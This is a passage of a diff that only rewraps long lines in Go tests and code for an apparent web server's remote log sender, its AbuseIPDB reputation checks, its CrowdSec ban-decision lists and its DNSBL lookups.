bufio.NewReader(conn),
record(t, local0Info, appName, "one"),
)
// The endpoint goes away: it closes the connection, and refuses the
// next ones. The sender notices when a record fails, and tries to
@@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, sent+1, 1, 0)
conn = endpoint.next(t)
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
wantFrame(
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "two"),
)
wantRetries(t, logged, "1s", "2s")
})
}
@@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
synctest.Test(t, func(t *testing.T) {
endpoint := listen(t)
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
sender, logged, _ := run(
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
// The endpoint closes each connection as soon as it takes it. The
// sender notices when a record fails, and connects again a second
// later, then two seconds after that, then four.
delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
delays := []time.Duration{
time.Second,
2 * time.Second,
4 * time.Second,
}
for i, delay := range delays {
_ = accept(t, endpoint).Close()
@@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
})
}
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
endpoint := listen(t)
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
sender, logged, _ := run(
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
_ = accept(t, endpoint).Close()
@@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
endpoint, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
loopback,
)
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() { _ = endpoint.Close() })
sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
sender, logged, _ := run(
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
// With its header, the first line's record is longer than the 65507
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params {
// run runs a Sender with settings until the test ends or the function
// it returns is called, which waits for Run to return. It returns the
// Sender, and what it logs.
func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
func run(
t *testing.T,
settings remotelog.Params,
) (*remotelog.Sender, *output, func()) {
t.Helper()
sender := remotelog.New(settings)
@@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f
func listen(t *testing.T) net.Listener {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
listener, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
loopback,
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -438,11 +485,17 @@ type tlsEndpoint struct {
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
// connections until it is told to refuse them.
func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
func startTLSEndpoint(
t *testing.T,
certificate tls.Certificate,
) *tlsEndpoint {
t.Helper()
listener := listen(t)
endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
endpoint := &tlsEndpoint{
addr: listener.Addr(),
conns: make(chan net.Conn, 10),
}
config := &tls.Config{
Certificates: []tls.Certificate{certificate},
MinVersion: tls.VersionTLS12,
@@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
}
server := tls.Server(conn, config)
if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
if endpoint.refusing.Load() ||
server.HandshakeContext(t.Context()) != nil {
_ = conn.Close()
continue
@@ -528,9 +582,17 @@ func wantCounts(
) {
t.Helper()
if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
if sender.Sent() != sent || sender.Dropped() != dropped ||
sender.Depth() != depth {
t.Fatalf(
"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
sender.Sent(),
sender.Dropped(),
sender.Depth(),
sent,
dropped,
depth,
)
}
}
@@ -539,7 +601,11 @@ func wantCounts(
// connection the endpoint has closed are lost before one fails; how many
// depends on when the endpoint's host answers that the connection is
// gone.
func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
func writeUntilDropped(
t *testing.T,
sender *remotelog.Sender,
dropped int64,
) {
t.Helper()
for sender.Dropped() < dropped {
@@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
if err != nil ||
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
t.Fatalf("logged %q", line)
}
@@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
}
if !slices.Equal(got, delays) {
t.Errorf("logged failures to connect again in %v, want %v", got, delays)
t.Errorf(
"logged failures to connect again in %v, want %v",
got,
delays,
)
}
}
@@ -618,8 +689,10 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
IsCA: true,
BasicConstraintsValid: true,
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
ExtKeyUsage: []x509.ExtKeyUsage{
x509.ExtKeyUsageServerAuth,
},
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
}
der, err := x509.CreateCertificate(rand.Reader, template, template,
@@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
roots := x509.NewCertPool()
roots.AddCert(certificate)
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
return tls.Certificate{
Certificate: [][]byte{der},
PrivateKey: key,
}, roots
}
+22 -5
View File
@@ -260,7 +260,11 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
// the score as client's, and notes the check as no longer under way. A
// check that fails gives no score: it is counted, logged and raised as a
// source_failure alert, and no client is checked for failureDelay.
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
func (a *AbuseIPDB) check(
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
score, err := a.ask(ctx, addr)
now := a.params.Now()
@@ -269,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
delete(a.checking, client)
if err == nil {
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
a.scores.Add(
client,
Score{Client: client, Score: score, Fetched: now},
)
} else {
a.failures++
a.retryAt = now.Add(failureDelay)
@@ -285,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
// in the header Key. An answer other than 200, one that gives no score,
// and none within Timeout, fail.
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
func (a *AbuseIPDB) ask(
ctx context.Context,
addr netip.Addr,
) (int64, error) {
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
defer cancel()
@@ -321,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
} `json:"data"`
}
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
Decode(&answer)
if err != nil {
return 0, fmt.Errorf("read the answer: %w", err)
}
@@ -339,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) {
// Raised before it is logged, so that the alert is there once the log
// line is.
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
a.params.ProcessLog.Warn(
reason,
"source",
AbuseIPDBSource,
"error",
err.Error(),
)
}
+127 -37
View File
@@ -41,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A client that has committed no offence is not checked.
@@ -60,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
})
}
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -68,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.
// it of its own.
var addresses []string
for i := 1; i < 16; i++ {
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
addresses = append(
addresses,
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
)
}
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{addresses[0]: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A request from each has the client checked once, by the first.
@@ -96,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
scores := map[string]int64{
"192.0.2.74": 74,
"192.0.2.75": 75,
"192.0.2.100": 100,
}
p := abuseIPDBParams()
p.MinScore = 75
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -117,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
hitFrom(t, checker, suspect, true)
@@ -141,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
})
}
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -152,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
p.DailyBudget = 3
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p)
// At noon, the first three offenders spend the budget, and the
@@ -173,8 +192,14 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
// The check that used the budget up raised the alert, and logged it.
const usedUp = "the daily budget of AbuseIPDB checks is used up"
wantFailureAlert(t, queue, time.Now(), usedUp,
"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
wantFailureAlert(
t,
queue,
time.Now(),
usedUp,
"3 checks spent; none is made until the day ends at 00:00 UTC",
0,
)
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
t.Errorf("logged\n%s\nwant the budget used up", log.String())
@@ -214,7 +239,9 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
p := abuseIPDBParams()
p.DailyBudget = 1
p.Now = func() time.Time { return time.Now().In(ahead) }
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p)
// At 09:00 UTC the one check is spent.
@@ -238,7 +265,9 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
})
}
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
@@ -282,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
p.Key = tc.key
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
abuseIPDB := &abuseIPDBStandIn{
status: tc.status,
body: tc.body,
}
checker := newAbuseIPDB(abuseIPDB, p)
// The failure gives no score, and no client is checked within a
@@ -310,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
"checking a client with AbuseIPDB failed", tc.error, 1)
if !strings.Contains(log.String(), `"msg":"checking a client with `+
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
if !strings.Contains(
log.String(),
`"msg":"checking a client with `+
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
})
@@ -319,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
}
}
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -346,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
time.Sleep(time.Nanosecond)
synctest.Wait()
wantFailures(t, checker, 1)
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
"check the client: context deadline exceeded", 0)
wantFailureAlert(
t,
queue,
time.Now(),
"checking a client with AbuseIPDB failed",
"check the client: context deadline exceeded",
0,
)
})
}
@@ -361,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
p := abuseIPDBParams()
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
abuseIPDB := &abuseIPDBStandIn{
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
m.AddReputation(
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one it refuses with an answer
@@ -373,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
synctest.Wait()
wantScore(t, checker, suspect, true, 100, true)
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
abuseIPDB.answerWith(
http.StatusUnauthorized,
`{"errors":[{"detail":"`+key+`"}]}`,
)
wantScore(t, checker, other, true, 0, false)
synctest.Wait()
wantFailures(t, checker, 1)
@@ -416,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
p.DailyBudget = 5
checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
m.AddReputation(
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one that fails.
@@ -472,7 +526,9 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
}
}
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -501,7 +557,10 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T)
got := checker.Snapshot()
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
slices.Contains(got, scores[count-1]) {
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
t.Errorf(
"%d scores kept, want all but the one fetched longest ago",
len(got),
)
}
}
@@ -522,7 +581,9 @@ type abuseIPDBStandIn struct {
// RoundTrip has the stand-in answer req, in place of the network. A check
// abandoned before the stand-in answers fails, as over the network.
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
func (s *abuseIPDBStandIn) RoundTrip(
req *http.Request,
) (*http.Response, error) {
client := req.URL.Query().Get("ipAddress")
sent := req.Header.Get("Key")
@@ -542,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error)
status = http.StatusUnauthorized
case status == 0:
status = http.StatusOK
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
score)
body = fmt.Sprintf(
`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`,
client,
score,
)
}
return &http.Response{
@@ -603,15 +667,25 @@ func newAbuseIPDB(
// wantScore checks the score checker gives client, and whether it is a
// hit, as a request from client finds them, offender or not.
func wantScore(
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
score int64, hit bool,
t *testing.T,
checker *reputation.AbuseIPDB,
client string,
offender bool,
score int64,
hit bool,
) {
t.Helper()
gotScore, gotHit := hitFrom(t, checker, client, offender)
if gotScore != score || gotHit != hit {
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
score, hit)
t.Errorf(
"%s has the score %d, a hit %t, want %d, %t",
client,
gotScore,
gotHit,
score,
hit,
)
}
}
@@ -619,7 +693,10 @@ func wantScore(
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
// as sww counts clients.
func hitFrom(
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
t *testing.T,
checker *reputation.AbuseIPDB,
address string,
offender bool,
) (int64, bool) {
t.Helper()
@@ -663,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
// the error failure, and that the cooldown has held back held repeats of
// it.
func wantFailureAlert(
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
t *testing.T,
queue *alerts.Queue,
raised time.Time,
reason, failure string,
held int64,
) {
t.Helper()
@@ -673,8 +753,15 @@ func wantFailureAlert(
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
got[0].Detail["error"] != failure || queue.Suppressed() != held {
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
"and %d", got, queue.Suppressed(), reason, failure, held)
t.Errorf(
"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
"and %d",
got,
queue.Suppressed(),
reason,
failure,
held,
)
}
}
@@ -692,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
t.Helper()
scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody))
m.ServeHTTP(
scraped,
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody),
)
return scraped.Body.String()
}
+146 -37
View File
@@ -37,7 +37,9 @@ const (
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test
e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7",
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
wantDecision(
t,
lists,
"198.51.100.7",
reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
},
)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(6 * time.Hour),
Scenario: manual,
},
)
})
}
@@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1)
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
added := reputation.Decision{
Expires: began.Add(2 * time.Hour),
Scenario: probing,
}
e.set(func(e *engine) {
e.decisions = append(e.decisions,
@@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
{
rangeScope,
"198.51.100.128/25",
ban,
sshBF,
began.Add(time.Hour),
},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
{
rangeScope,
"192.0.2.0/24",
ban,
probing,
began.Add(5 * time.Hour),
},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
wantDecision(t, lists, "198.51.100.130",
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
wantDecision(t, lists, "192.0.2.20",
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"198.51.100.130",
reputation.Decision{
Expires: began.Add(3 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"192.0.2.20",
reputation.Decision{
Expires: began.Add(5 * time.Hour),
Scenario: probing,
},
)
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
}
wantEngineFetches(t, e, 3)
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: sshBF,
},
)
want := kept[0]
want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
got := lists.Snapshot()
if !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
}
if lists.Failures(decisionsURL) != 2 {
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
if n := lists.Failures(decisionsURL); n != 2 {
t.Errorf("%d failures, want 2", n)
}
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue,
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
failed := time.Now().Add(-time.Minute)
alert := fetchFailure(failed, decisionsURL, tc.error)
wantAlert(t, queue, alert)
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error) {
if !strings.Contains(
log.String(),
`"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
@@ -293,7 +369,11 @@ func crowdSecFailures() []crowdSecFailure {
// log, the alerts waiting in queue, and the copies of lists, which
// lists.json keeps.
func wantKeyNotShown(
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
t *testing.T,
e *engine,
log string,
lists *reputation.Lists,
queue *alerts.Queue,
) {
t.Helper()
@@ -315,13 +395,21 @@ func wantKeyNotShown(
}
}
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
@@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
run(t, again)
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
want := reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
}
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond)
@@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.fetches++
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
if req.URL.String() != decisionsURL &&
req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
@@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
status, header = http.StatusFound, http.Header{
"Location": {e.redirect},
}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
@@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string {
for _, d := range e.decisions {
if now.Before(d.expires) {
answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
"duration": d.expires.Sub(now).
String(),
"origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
})
}
@@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
// wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none.
func wantDecision(
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
t *testing.T,
lists *reputation.Lists,
addr string,
want reputation.Decision,
) {
t.Helper()
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
got, listed := lists.CrowdSecDecision(
netip.MustParseAddr(addr),
time.Now(),
)
if listed != !want.Expires.IsZero() ||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
listed &&
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf(
"%s has the decision %+v in force %t, want %+v",
addr,
got,
listed,
want,
)
}
}
+9 -2
View File
@@ -203,7 +203,10 @@ func (d *DNSBL) Snapshot() []Verdict {
d.mu.Unlock()
slices.SortFunc(verdicts, func(a, b Verdict) int {
return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
return cmp.Or(
a.Client.Compare(b.Client),
strings.Compare(a.Zone, b.Zone),
)
})
return verdicts
@@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
defer cancel()
answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
answer, err := d.resolver.LookupNetIP(
ctx,
"ip4",
queryName(q.zone, q.client),
)
var dnsErr *net.DNSError
+116 -34
View File
@@ -73,7 +73,11 @@ func TestMain(m *testing.M) {
